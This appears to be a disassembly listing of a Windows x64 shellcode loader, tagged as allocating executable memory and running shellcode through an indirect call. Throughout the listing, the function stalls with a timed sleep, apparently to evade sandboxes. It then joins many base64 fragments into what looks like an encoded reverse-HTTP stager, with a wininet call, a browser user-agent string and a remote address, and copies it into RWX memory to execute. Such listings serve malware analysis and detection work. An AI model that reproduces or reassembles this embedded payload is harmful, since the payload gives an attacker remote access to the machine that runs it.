Function at 0x140001730
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x660
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5f0], ecx
mov qword [rbp + 0x5f8], rdx
call fcn.1400026f0
call sub.api_ms_win_crt_time_l1_1_0.dll_clock
mov dword [rbp + 0x5dc], eax
mov eax, dword [section..data]
mov edx, dword [0x140004008]
sub eax, edx
mov dword [0x140004008], eax
mov ecx, 0x2e4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.api_ms_win_crt_time_l1_1_0.dll_clock
mov dword [rbp + 0x5d8], eax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov ecx, 0x94c
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp + 0x5d0], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
mov eax, dword [rbp + 0x5d8]
sub eax, dword [rbp + 0x5dc]
cmp eax, 0x2e3
jle 0x140002604
mov eax, dword [rbp + 0x5d8]
sub eax, dword [rbp + 0x5dc]
cmp eax, 0x347
jg 0x140002604
mov edx, dword [section..data]
mov eax, dword [0x140004008]
add eax, edx
mov dword [0x140004008], eax
lea rax, str.mKjNccKrP
mov rcx, rax
call fcn.140003760
lea rax, str.OTA5MGZjNDg4M2U0ZjBlOGM4MDAwMDAwNDE1MTQxNTA1MjUxNTY0ODMxZDI2NTQ4OGI1MjYwN
mov qword [rbp + 0x5c8], rax
mov dword [0x140004008], 0
lea rax, str.Dg4YjUyMTg0O
mov qword [rbp + 0x5c0], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.DhiNTIyMDQ4OGI3MjUwNDgw
mov qword [rbp + 0x5b8], rax
mov edx, dword [section..data]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
lea rax, str.ZmI3NGE0YTRk
mov qword [rbp + 0x5b0], rax
mov edx, dword [0x140004004]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
lea rax, str.MzFjOTQ4MzFjMGFjM2M2MTdjMDIyYzIwNDFjMWM5MGQ0MTAxYzFlMmVkNTI0MTUxNDg4YjUyMjA4YjQyM2M0ODAxZDA2Njg
mov qword [rbp + 0x5a8], rax
mov eax, dword [0x140004008]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
lea rax, str.xNzgxODBiMDI3NTcyOGI4MDg4MDAwMDAwNDg4NWMwNzQ2NzQ4MDFkMDUwOGI0ODE4NDQ4YjQwMjA0OTAxZDBlMzU2NDhmZ
mov qword [rbp + 0x5a0], rax
mov dword [section..data], 0
lea rax, str.mM5NDE4YjM0ODg0ODAxZDY0ZDMx
mov qword [rbp + 0x598], rax
mov edx, dword [0x140004004]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
lea rax, str.Yzk0ODMxYzBhYzQxYzFjOTBkNDEwMWMxMzhlMDc1ZjE0YzAzNGMyNDA4ND
mov qword [rbp + 0x590], rax
mov eax, dword [0x140004004]
mov edx, dword [0x140004008]
sub eax, edx
mov dword [0x140004008], eax
lea rax, str.UzOWQxNzVkODU4NDQ4YjQwMjQ0OTAxZDA2NjQxOGIwYzQ4NDQ4YjQwMWM0OTAxZDA0MThiMDQ4ODQ4MDFkMDQxNTg0
mov qword [rbp + 0x588], rax
mov eax, dword [0x140004008]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
lea rax, str.MTU4NWU1OTVhNDE1ODQxNTk0MTVhNDg4M2VjMjA0MTUyZmZlMDU4NDE1OTVhNDg4YjEyZTk0ZmZ
mov qword [rbp + 0x580], rax
mov edx, dword [0x140004008]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
lea rax, str.mZmZmZjVkNmEwMDQ5YmU3NzY5NmU2OTZlNjU3NDAwNDE1NjQ5ODllNjRjODlmMTQxYmE0Yzc3MjYwN2ZmZDU0ODM
mov qword [rbp + 0x578], rax
mov edx, dword [0x140004004]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
lea rax, str.xYzk0ODMxZDI0ZDMxYzA0ZDMxYzk0MTUwND
mov qword [rbp + 0x570], rax
mov eax, dword [0x140004008]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
lea rax, str.E1MDQxYmEzYTU2NzlhN2ZmZDVlYjczNWE0ODg5YzE0MWI4NjIxZTAwMDA0ZDMxYzk0MTUxNDE1MTZ
mov qword [rbp + 0x568], rax
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
lea rax, str.hMDM0MTUxNDFiYTU3
mov qword [rbp + 0x560], rax
mov edx, dword [0x140004004]
mov eax, dword [0x140004008]
add eax, edx
mov dword [0x140004008], eax
lea rax, str.ODk5ZmM2ZmZkNWViNTk1YjQ4ODljMTQ4MzFkMjQ5ODlkODRkMzFjOTUyN
mov qword [rbp + 0x558], rax
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
lea rax, str.jgwMDAyNDA4NDUyNTI0M
mov qword [rbp + 0x550], rax
mov eax, dword [0x140004008]
add eax, eax
mov dword [0x140004008], eax
lea rax, str.WJhZWI1NTJlM2JmZmQ1NDg4OWM2NDg4M2MzNTA2YTBhNWY0ODg5ZjE0ODg5ZGE0OWM3Yz
mov qword [rbp + 0x548], rax
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
lea rax, str.BmZmZmZmZmZjRkMzFjOTUyNTI0MWJhMmQwNjE4N2JmZmQ1ODVjMDBmODU5ZDAxMDAwMDQ4ZmZjZjBmODQ4Y
mov qword [rbp + 0x540], rax
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
lea rax, str.zAxMDAwMGViZDNlOWU0MDEwMDAwZThhMmZmZmZmZjJmMzM0Mjc0NzQwM
mov qword [rbp + 0x538], rax
mov edx, dword [0x140004008]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.DhjYTBlNDk3YjdlMmE3ZTY2MTg3NDQwMDQ3ZDU5N2ZiYjk2MGN
mov qword [rbp + 0x530], rax
mov dword [0x140004004], 0
lea rax, str.lMTZjNmM0NDhiM2RkZmRkMWRjMzdkYjQ2MmMzO
mov qword [rbp + 0x528], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
lea rax, str.TVhMGNlYzhmM2Q5NjFmMTA4YTVlNTAyNDhkOTNkMGVkNjE1
mov qword [rbp + 0x520], rax
mov eax, dword [0x140004008]
add eax, eax
mov dword [0x140004008], eax
lea rax, str.MGI0YzkyNjg3NDQ2NDUyNm
mov qword [rbp + 0x518], rax
mov dword [section..data], 0
lea rax, str.EzZmUzYzRhNTBjY2JiMDRiYTEzMDU3YThkMmE4MDA1NTczNjU3MjJkNDE
mov qword [rbp + 0x510], rax
mov dword [section..data], 0
lea rax, str.2NzY1NmU3NDNhMjA0ZDZmN2E2OTZjNmM2MTJmMzUyZ
mov qword [rbp + 0x508], rax
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
lea rax, str.TMwMjAyODYzNmY2ZDcwNjE3NDY5NjI2YzY1M2IyMDRkNTM0OTQ1MjAzOTJl
mov qword [rbp + 0x500], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.MzAzYjIwNTc2OTZlNjQ2Zjc3NzMyMDRlNTQyMDM2MmUzMTNiMjA1NzRm
mov qword [rbp + 0x4f8], rax
mov dword [section..data], 0
lea rax, str.NTczNjM0M2IyMDU0NzI2OTY0NjU2ZTc0MmYzNTJl
mov qword [rbp + 0x4f0], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.MzAzYjIwNGU1MDMwMzYyOTBkMGEwMGI5NDQ2ZTkzODI2NDI4MTVjNW
mov qword [rbp + 0x4e8], rax
mov edx, dword [0x140004008]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.QzYTljMTNiNmZjZjkwYzg1YjQ2YmM2
mov qword [rbp + 0x4e0], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
lea rax, str.NjFhNGVhODQ4MmU2OGQ0MTQ5MDAyNTExOTMzODU3MTJhOGM2Y2Y3NzE4NDNiMWE4YTZmZjE3NzkzOGE3ZjI2NmI2ZjFhODE3M
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x140004008]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
lea rax, str.DcwNDZhYzM4Njg5ZDE3NjQxN2Q0YjA0NmY1MThhODE0NDk0YTQwZD
mov qword [rbp + 0x4d0], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.c5ZWQ0MTBlYjVkOTQ2NmYzOWI1MGRhYjNlNWYyYzYwNWQyOTRjMjVjYWRiYj
mov qword [rbp + 0x4c8], rax
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
lea rax, str.IzNjMwNzhmMzRkNzM5ZDM2N2U1YmM2OTA4ODA3YzYyZjY
mov qword [rbp + 0x4c0], rax
mov edx, dword [0x140004008]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
lea rax, str.5OGM0ZTViOGZiYWNjYjgyYzc2ZjE1OTFmNjBiMjJkYTllZTI3YmI3ZjY5YjEwYjFmNzI4MTk0ODNlZWQ0OGU5M
mov qword [rbp + 0x4b8], rax
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
lea rax, str.jk2Y2U1YTliZjlmNWE1ODhjYzEwNzliZmI4NDFmMm
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x140004008]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
lea rax, str.Q3MGY1MmJlNWNiNTY0MDZhY
mov qword [rbp + 0x4a8], rax
mov edx, dword [0x140004008]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
lea rax, str.WE3OTAwYTJhZDQyOWJkMDll
mov qword [rbp + 0x4a0], rax
mov edx, dword [0x140004008]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
lea rax, str.OWQzMjM5NzY4MDYwM2FjY2YzOGZhYWVmYTYwNjg1MjA1MDA4NzkwMGVkYmViMTQyZmIwMzZjYjU2NTl
mov qword [rbp + 0x498], rax
mov edx, dword [section..data]
mov eax, dword [0x140004008]
add eax, edx
mov dword [0x140004008], eax
lea rax, str.mMTkwMDQxYmVmMGI1YTI1NmZmZDU0ODMxYzliYTAwMDA0MDA
mov qword [rbp + 0x490], rax
mov eax, dword [0x140004004]
mov edx, dword [0x140004008]
sub eax, edx
mov dword [0x140004008], eax
lea rax, str.wNDFiODAwMTAwMDAwNDFiOTQwMDAwMDAwNDFiYTU4YTQ1M2U1ZmZkNTQ4OTM1MzUzNDg4OWU3NDg4OWYxNDg4OWRhNDFiOD
mov qword [rbp + 0x488], rax
mov eax, dword [0x140004008]
add eax, eax
mov dword [0x140004008], eax
lea rax, str.AwMjAwMDAwNDk4OWY5NDFiYTEyOTY4OWUyZmZkNTQ4ODN
mov qword [rbp + 0x480], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
lea rax, str.jNDIwODVjMDc0YjY2NjhiMDc0ODAxYzM4NWMwNzVkNzU4NTg1ODQ4MDUwMDAwMDAwMDUwYzNlODlmZmRmZmZmMzgyZ
mov qword [rbp + 0x478], rax
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
lea rax, str.TMxMzMzNDJlMzEzMj
mov qword [rbp + 0x470], rax
mov eax, dword [section..data]
mov edx, dword [0x140004008]
sub eax, edx
mov dword [0x140004008], eax
lea rax, str.JlMzkzMDAwNDk5NjAyZDI
mov qword [rbp + 0x468], rax
mov edx, dword [0x140004004]
mov eax, dword [0x140004008]
add eax, edx
mov dword [0x140004008], eax
lea rax, [0x140005a03]
mov qword [rbp + 0x460], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, [rbp - 0x60]
mov edx, 0x4a6
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rdx, qword [rbp + 0x5c8]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
mov edx, dword [0x140004008]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x5c0]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x5b8]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x5b0]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004008]
add eax, eax
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x598]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x590]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004008]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004004]
mov edx, dword [0x140004008]
sub eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004008]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov dword [0x140004008], 0
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004004]
mov edx, dword [0x140004008]
sub eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004008]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004008]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004004]
mov eax, dword [0x140004008]
add eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004008]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004004]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov dword [0x140004008], 0
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004004]
mov edx, dword [0x140004008]
sub eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004008]
add eax, eax
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [section..data]
mov edx, dword [0x140004008]
sub eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004008]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004008]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004004]
mov eax, dword [0x140004008]
add eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004008]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov dword [0x140004008], 0
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004008]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [section..data]
mov edx, dword [0x140004008]
sub eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [0x140004008]
add eax, edx
mov dword [0x140004008], eax
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov edx, dword [0x140004008]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
mov rax, qword [rbp + 0x5d0]
lea rdx, [0x140005a05]
mov rcx, rax
call fcn.140001450
mov qword [rbp + 0x458], rax
mov dword [0x140004008], 0
mov rdx, qword [rbp + 0x458]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400016e4
mov edx, dword [0x140004008]
mov eax, dword [0x140004008]
imul eax, edx
mov dword [0x140004008], eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4a6
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x450], rax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x450]
mov r8d, 0x4a6
mov rdx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memmove
mov rax, qword [rbp + 0x450]
call rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add edx, eax
mov eax, dword [0x140004008]
add edx, eax
mov eax, dword [0x14000400c]
add eax, edx
mov edx, eax
lea rax, [0x140005a07]
mov rcx, rax
call fcn.140003760
jmp 0x140002629
mov edx, dword [0x140004008]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.mKjNccKrP
mov rcx, rax
call fcn.140003760
nop
add rsp, 0x660
pop rbp
ret